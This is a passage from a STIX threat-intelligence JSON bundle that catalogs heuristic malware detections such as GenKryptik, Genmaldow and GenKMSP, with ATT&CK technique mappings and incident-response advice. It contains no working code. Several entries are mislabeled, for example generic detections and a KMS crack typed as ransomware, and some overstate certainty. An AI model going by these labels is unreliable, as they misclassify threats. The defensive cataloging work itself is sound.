      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgp exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a93b4a12-4459-5e71-a5cc-2bdcbf63168f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d9ae40c-eff2-5fcc-ab49-8a0dbb5da463",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgq",
      "description": "<h3>Executive Summary</h3>\n\"GenericRxgq\" (often displayed as Trojan.GenericRxgq or Heur.GenericRxgq) is a broad, machine-generated heuristic detection signature utilized by advanced antivirus engines. It acts as a \"catch-all\" classification indicating that a file or process exhibits suspicious behavioral characteristics or code structures that strongly correlate with newly discovered, unidentified malware that lacks a static signature.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA GenericRxgq alert typically fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating an attempt to hide its true payload from static analysis tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a GenericRxgq alert is a severe security event. It definitively indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper that the antivirus engine has flagged purely based on malicious intent.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRxgq",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.GenericRxgq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75fa2292-ba8d-5539-a0b6-3d3215ab9136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9ae40c-eff2-5fcc-ab49-8a0dbb5da463",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgq exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43a9b781-1906-518a-96d8-92e28d34a5a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9ae40c-eff2-5fcc-ab49-8a0dbb5da463",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgq exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4f58a73-a0a1-5578-8615-64f2e2c22e70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d9ae40c-eff2-5fcc-ab49-8a0dbb5da463",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgq exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a53eb91-80eb-51f5-b6b2-280e3988dbfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgr",
      "description": "<h3>Executive Summary</h3>\n\"GenericRxgr\" (often displayed as Generic.Rxgr or Trojan.GenericRxgr) is a broad, machine-generated heuristic detection signature utilized by numerous antivirus engines. It does not identify a specific, named malware family (like Emotet or LockBit). Instead, it acts as a \"catch-all\" classification indicating that a file or process exhibits highly suspicious behavioral characteristics or code structures that strongly correlate with known Trojans, downloaders, or obfuscated malware.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA GenericRxgr alert typically fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating an attempt to hide its true payload from static analysis tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a GenericRxgr alert is a severe security event. It frequently indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRxgr",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.Rxgr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d6f185-abaf-58f7-b477-8a238099e143",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a53eb91-80eb-51f5-b6b2-280e3988dbfe",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgr exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d09d8f5f-6f6b-5bc2-8b58-fc93b147d410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a53eb91-80eb-51f5-b6b2-280e3988dbfe",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a98e2717-d581-51f9-8cd8-d977a5b6218a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a53eb91-80eb-51f5-b6b2-280e3988dbfe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--486e2b55-f33e-553e-a7c8-ed633ad57caa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Generictka",
      "description": "Behavior:Win32/Generictka is a broad **Heuristic Detection** used by antivirus engines to flag files that exhibit highly suspicious, malware-like behaviors, even if they don't match a specific, known threat family signature. The 'tka' often implies a trojan-like behavior profile. This detection relies on machine learning models or behavioral rules analyzing the file's code structure, API imports, and simulated execution patterns.<br><br><b>Understanding Generictka (Heuristics)</b><br>To an end-user, this is a standard security block. For a security analyst, a Generictka alert requires manual triage. It could be a brand new, zero-day threat (a True Positive), or it could be a poorly written legitimate application, a custom internal script, or a game mod acting suspiciously (a False Positive). It indicates the file is 'acting weird' but the AV isn't exactly sure what it is.<br><br><b>Execution and Detection Mechanics</b><br>A file might trigger a Generictka detection upon download or attempted execution (`T1204.002`). The AV engine's heuristic scanner might flag it because the file attempts to inject code into another process (`T1055`), tries to silently modify the Windows Registry Run keys (`T1547.001`), lacks a valid digital publisher signature (`T1553.002`), or is heavily obfuscated using an unknown software packer (`T1027.002`). The combination of these suspicious traits crosses a scoring threshold, triggering the generic block.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on whether the file is actually malicious. If it is a true positive, the AV has likely prevented a severe infection. Host-based IoCs are limited to the AV/EDR quarantine logs detailing the blocked file path, its hash, and the specific behavioral rules that triggered the generic detection. Investigation requires dynamic analysis in a safe environment. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Generictka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/generictka"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a4ebd27-e161-5856-b960-c1013d3ef999",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--486e2b55-f33e-553e-a7c8-ed633ad57caa",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generictka exhibits technique T1204.002 (User Execution: Malicious File (The initial trigger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fe82646-3c54-56c7-9a60-06e3d98e2e71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--486e2b55-f33e-553e-a7c8-ed633ad57caa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generictka exhibits technique T1027 (Obfuscated Files or Information (Often the cause of heuristic flags))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2af1e547-e97d-508f-a5b8-6ded2b46e28f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Geni",
      "description": "Trojan:Win32/Geni (often a truncation of 'Generic') signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Geni' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Geni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/geni"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47458ece-8ea9-5d87-9b40-e9f436c5f23f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2af1e547-e97d-508f-a5b8-6ded2b46e28f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geni exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc5abdb-e9d3-57c3-9d71-6af9565a701c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2af1e547-e97d-508f-a5b8-6ded2b46e28f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geni exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bcf9b45-be9d-5943-914c-475fd0237ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2af1e547-e97d-508f-a5b8-6ded2b46e28f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geni exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2253d27-3a37-5d89-b12b-2d02600a47e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genkmsp",
      "description": "<h3>Executive Summary</h3>\nGenKMSP (often associated with KMSPico or AutoKMS) is classified as a \"HackTool\" or \"Riskware.\" It is a software cracking utility specifically designed to illegally bypass the Microsoft Key Management Service (KMS) activation process, allowing users to pirate copies of Windows operating systems and Microsoft Office suites. While the tool itself is not inherently destructive, its presence is a massive security risk, as \"cracks\" are the primary distribution vector for severe malware.\n\n<h3>Technical Behavior and Risk Factors</h3>\nGenKMSP operates by emulating a local KMS server on the victim's machine. It intercepts the operating system's activation requests and responds with a forged \"activated\" signal, tricking Windows into believing it holds a valid enterprise license.\n\nWhile the underlying mechanics of the crack are technically impressive, the security implications are dire:\n<ul>\n<li><strong>High Probability of Bundled Malware:</strong> Because these tools are illegal, they are exclusively distributed via peer-to-peer (P2P) networks, torrents, and untrustworthy \"warez\" sites. Threat actors almost universally bundle GenKMSP downloads with severe secondary payloads, including Info-Stealers (like RedLine), Cryptominers, and Ransomware.</li>\n<li><strong>Disabled Security Controls:</strong> To function correctly, KMS activators require deep system access. The instructions accompanying the tool invariably require the user to explicitly disable Windows Defender and bypass User Account Control (UAC). This leaves the system completely defenseless against the bundled malware.</li>\n<li><strong>Persistence (Scheduled Tasks):</strong> To ensure the pirated activation doesn't expire, GenKMSP creates persistent Scheduled Tasks (often named `AutoKMS`) that run every day to renew the forged license.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of GenKMSP on a corporate network is a \"break-glass\" event. It indicates not only a blatant software licensing violation but, more critically, that a user has actively disabled enterprise security controls and deliberately executed code from an untrustworthy source, highly likely resulting in a severe secondary infection.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Investigation:</strong> Isolate the machine. Treat the detection of a KMS crack as a high-confidence indicator of a broader compromise. Do not just delete the crack; assume a secondary payload (like a backdoor or stealer) has already been deployed.</li>\n<li><strong>Complete Re-imaging:</strong> Because the user intentionally disabled antivirus to run the tool, the system cannot be trusted. The only secure remediation is a complete bare-metal format and re-imaging of the workstation.</li>\n<li><strong>Policy Enforcement:</strong> The presence of this tool indicates a failure of Application Control. Enforce strict AppLocker or EDR policies preventing standard users from executing unknown binaries, and implement continuous monitoring for unauthorized Scheduled Tasks.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.KMSAuto",
        "Riskware.KMSPico",
        "W32/AutoKMS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genkmsp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genkmsp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1344880a-f27b-56d3-a1f9-ef94ad1697e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2253d27-3a37-5d89-b12b-2d02600a47e1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkmsp exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9880554-47e7-5895-bd9f-2d026e4bc4fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2253d27-3a37-5d89-b12b-2d02600a47e1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkmsp exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62873abe-6168-5228-80f0-f473e4f1dc6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2253d27-3a37-5d89-b12b-2d02600a47e1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkmsp exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genkryptik",
      "description": "GenKryptik (classified across cybersecurity vendors as Trojan:Win32/GenKryptik, Packer:Win32/Kryptik, and Trojan.GenKryptik) is an evasive multi-stage software packer, runtime crypter, and obfuscation utility extensively abused by malware operators. Designed to shield secondary payloads (such as banking trojans, information stealers, and ransomware) from static signature engines and automated sandbox analysis, GenKryptik encrypts binary code inside multi-layered XOR and AES encrypted payload buffers. During execution, it executes intensive anti-emulation loops, timing checks, and hypervisor detection before dynamically allocating memory, decrypting the payload, and executing it using process hollowing into legitimate Windows binaries like svchost.exe. (Observed samples in benchmark: 353)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/GenKryptik",
        "Packer:Win32/Kryptik",
        "Trojan.GenKryptik",
        "Win32/Kryptik.Packer",
        "Crypter.GenKryptik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genkryptik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genkryptik"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05e15028-9ba4-5b6b-b01f-c324bcbbb81e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkryptik exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--034c2211-ae3a-50ef-a774-4b59e4340415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkryptik exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--248cf259-679f-530b-8972-585dfb01c03b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkryptik exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e20993ab-255e-5adf-8b59-f4f967fa99cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkryptik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bdce5b5-a91b-5ace-ae99-7a8cd3e2f302",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--227364dc-65e3-50cb-baa7-5bd7be63b424",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genkryptik exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba34326f-f3f1-5d6f-937f-0f8b81a1ae8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genmaldow",
      "description": "TrojanDownloader:Win32/Genmaldow is a generic, heuristic detection string utilized by antivirus engines to flag a file that exhibits the unmistakable behavioral pattern of a Malicious Downloader or 'Stager', even if it doesn't match a known signature. It indicates a small, initial payload whose sole purpose is to quietly fetch a much larger, destructive payload from the internet (`T1105`).<br><br><b>Understanding Genmaldow (Heuristic Downloaders)</b><br>To an end-user, an infection is invisible. For an incident response team, a Genmaldow detection means the perimeter defenses were breached, and the attacker is actively trying to bring their primary weapon (like Ransomware or a RAT) into the network. Because the detection is generic, the nature of the *final* payload is unknown until network logs are reviewed.<br><br><b>Execution and Evasion Strategies</b><br>Genmaldow files trigger behavioral heuristics because they perform a specific sequence of actions: they execute, often perform minor anti-sandbox checks, immediately open an outbound network connection using native APIs (`URLDownloadToFile`, PowerShell `Invoke-WebRequest`), drop a secondary executable into `%Temp%`, and execute it (`T1204.002`). They rarely establish persistence themselves, leaving that task to the final payload.<br><br><b>Indicators of Compromise (IoCs)</b><br>The most critical IoCs are network-based. EDR or proxy logs will show the Genmaldow executable making outbound HTTP/HTTPS requests to unknown or newly registered domains. Host-based IoCs involve tracking the file creation events in `%Temp%` or `%Downloads%` immediately following the execution of the initial dropper. Analyzing the secondary file that was downloaded is essential for remediation. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genmaldow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genmaldow"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc1754ee-b033-54a0-b229-cc27d4e9a78d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba34326f-f3f1-5d6f-937f-0f8b81a1ae8a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genmaldow exhibits technique T1105 (Ingress Tool Transfer (The core behavior triggering the generic downloader alert))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21411a2e-19d5-52e0-8de1-a12966cf3fd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba34326f-f3f1-5d6f-937f-0f8b81a1ae8a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genmaldow exhibits technique T1204.002 (User Execution: Malicious File (How the downloader is typically initiated by the victim))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9bdbcd1-fc7b-5869-a1cd-04a0e7554553",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gentromal",
